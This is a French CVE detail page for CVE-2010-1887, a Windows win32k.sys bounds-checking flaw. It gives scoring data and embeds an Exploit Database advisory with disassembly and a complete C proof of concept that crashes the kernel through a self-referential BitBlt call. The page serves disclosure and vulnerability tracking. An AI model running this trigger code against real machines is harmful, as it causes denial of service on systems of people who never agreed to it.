CVE-2010-1887 : Détail

CVE-2010-1887

A03-Injection
0.04%V3
Local
2010-08-11
16h00 +00:00
2018-10-12
17h57 +00:00
CVE.org
NVD
Notifications pour un CVE
Restez informé de toutes modifications pour un CVE spécifique.
Gestion des notifications

Descriptions du CVE

The Windows kernel-mode drivers in win32k.sys in Microsoft Windows XP SP2 and SP3, Windows Server 2003 SP2, Windows Vista SP1 and SP2, Windows Server 2008 Gold, SP2, and R2, and Windows 7 do not properly validate an unspecified system-call argument, which allows local users to cause a denial of service (system hang) via a crafted application, aka "Win32k Bounds Checking Vulnerability."

Informations du CVE

Faiblesses connexes

CWE-ID Nom de la faiblesse Source
CWE-20 Improper Input Validation
The product receives input or data, but it does not validate or incorrectly validates that the input has the properties that are required to process the data safely and correctly.

Métriques

Métriques Score Gravité CVSS Vecteur Source
V2 4.4 AV:L/AC:M/Au:S/C:N/I:N/A:C nvd@nist.gov

EPSS

EPSS est un modèle de notation qui prédit la probabilité qu'une vulnérabilité soit exploitée.

Score EPSS

Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.

Percentile EPSS

Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.
EPSS First.org

Informations sur l'Exploit

Exploit Database EDB-ID : 14669

Date de publication : 2010-08-16 22h00 +00:00
Auteur : Tavis Ormandy
EDB Vérifié : Yes

Microsoft Windows win32k!GreStretchBltInternal() does not handle src == dest ---------------------------------------------------------------------------- A bitblt (bit block transfer) is used to copy one rectangular region of screen to another, often performing a raster operation (rop) of some sort (e.g. and, or, xor). On Windows, bitblts are performed using the BitBlt() GDI32 api, which is passed a source and destination DC, along with the dimensions of the regions to transfer. BitBlt() is backed by the native system service, NtGdiBitBlt(). On Windows 7, the following code from win32k!GreStretchBltInternal is guarded by a check for a rop including CAPTUREBLT (Include Layered Windows): .text:BF981F07 mov ecx, [ebp+dcoSrc] ; ecx is a pointer to src DCOBJ .text:BF981F0D test dword ptr [ecx+18h], 4000h ; probably checking if redirection bitmap selected? .text:BF981F14 jz short loc_BF981F24 .text:BF981F16 push ebx .text:BF981F17 push ebx .text:BF981F18 call DC::pSurface(void) .text:BF981F1D mov ecx, eax .text:BF981F1F call SURFACE::bUnMap(void *,DC *) .text:BF981F24 loc_BF981F24: .text:BF981F24 mov ecx, [ebp+dcoTrg] ; ecx is a pointer to dst DCOBJ .text:BF981F2A test dword ptr [ecx+18h], 4000h .text:BF981F31 jz short loc_BF981F41 .text:BF981F33 push ecx .text:BF981F34 push ebx .text:BF981F35 call DC::pSurface(void) .text:BF981F3A mov ecx, eax .text:BF981F3C call SURFACE::bUnMap(void *,DC *) You can see this code tests a flag, gets a pointer to a SURFACE object, then unmaps it. This code does not handle dcoSrc == dcoTrg, which causes bUnMap() to be called twice for the same SURFACE. This will cause a synchronization error, and result in a bugcheck due to the unhandled exception. It's possible that on MP machines a race condition could exist that would allow an attacker to continue past the initial error, possibly resulting in an exploitable condition (untested). -------------------- Affected Software ------------------------ At least Microsoft Windows 7 is affected. -------------------- Consequences ----------------------- An unprivileged user may be able to cause a bugcheck, or possibly execute arbitrary kernel code. Example code to trigger this vulnerability is available below. #ifndef WIN32_NO_STATUS # define WIN32_NO_STATUS // I prefer working with ntstatus.h #endif #include <windows.h> #include <assert.h> #include <stdio.h> #include <winerror.h> #include <winternl.h> #include <stddef.h> #include <winnt.h> #ifdef WIN32_NO_STATUS # undef WIN32_NO_STATUS #endif #include <ntstatus.h> #pragma comment(lib, "GDI32") #pragma comment(lib, "USER32") int main(int argc, char **argv) { WNDCLASS Class; HWND Window; HDC Device; Class.style = CS_OWNDC; Class.lpfnWndProc = DefWindowProc; Class.cbClsExtra = 0; Class.cbWndExtra = 0; Class.hInstance = GetModuleHandle(NULL); Class.hIcon = NULL; Class.hCursor = NULL; Class.hbrBackground = NULL; Class.lpszMenuName = NULL; Class.lpszClassName = "Class"; RegisterClass(&Class); Window = CreateWindowEx(WS_EX_COMPOSITED, "Class", "Window", 0, 32, 32, 32, 32, NULL, NULL, NULL, NULL); Device = GetWindowDC(Window); BitBlt(Device, 32, 32, 32, 32, Device, 32, 32, CAPTUREBLT | SRCCOPY); return 0; } ------------------- Credit ----------------------- This bug was discovered by Tavis Ormandy. ------------------- Greetz ----------------------- $1$90AiGoxp$wyzZGQ6owkRG6OxPErj6M/ $1$7.qXQkxE$5Zc1zQndJpGdoe1RF4Br1. $1$IPYBMipO$/HhHCPgulV/E0pgSvU1710 $1$ULymMO9x$NVMLjZe8i25ajEfnsRowA. $1$8a/c6DLm$JDAFGdhEzIj2DR7RYC2gi. And all the other elite people I've worked with (sorry, too many to generate!). ------------------- Notes ----------------------- This issue was reported in March. ------------------- References ----------------------- - http://groups.google.com/group/comp.os.ms-windows.programmer.win32/msg/5c3c900b21b67f20 Redirection bitmap? - http://msdn.microsoft.com/en-us/library/dd183370%28VS.85%29.aspx BitBlt() Win32 api. - http://msdn.microsoft.com/en-us/library/ff549594%28VS.85%29.aspx KeReleaseMutant

Products Mentioned

Configuraton 0

Microsoft>>Windows_2003_server >> Version *

Microsoft>>Windows_2003_server >> Version *

Microsoft>>Windows_7 >> Version *

Microsoft>>Windows_7 >> Version -

Microsoft>>Windows_server_2003 >> Version *

Microsoft>>Windows_server_2008 >> Version *

Microsoft>>Windows_server_2008 >> Version *

Microsoft>>Windows_server_2008 >> Version *

Microsoft>>Windows_server_2008 >> Version *

Microsoft>>Windows_server_2008 >> Version *

Microsoft>>Windows_server_2008 >> Version *

Microsoft>>Windows_server_2008 >> Version *

Microsoft>>Windows_server_2008 >> Version -

Microsoft>>Windows_vista >> Version *

Microsoft>>Windows_vista >> Version *

Microsoft>>Windows_vista >> Version -

Microsoft>>Windows_xp >> Version *

Microsoft>>Windows_xp >> Version -

Références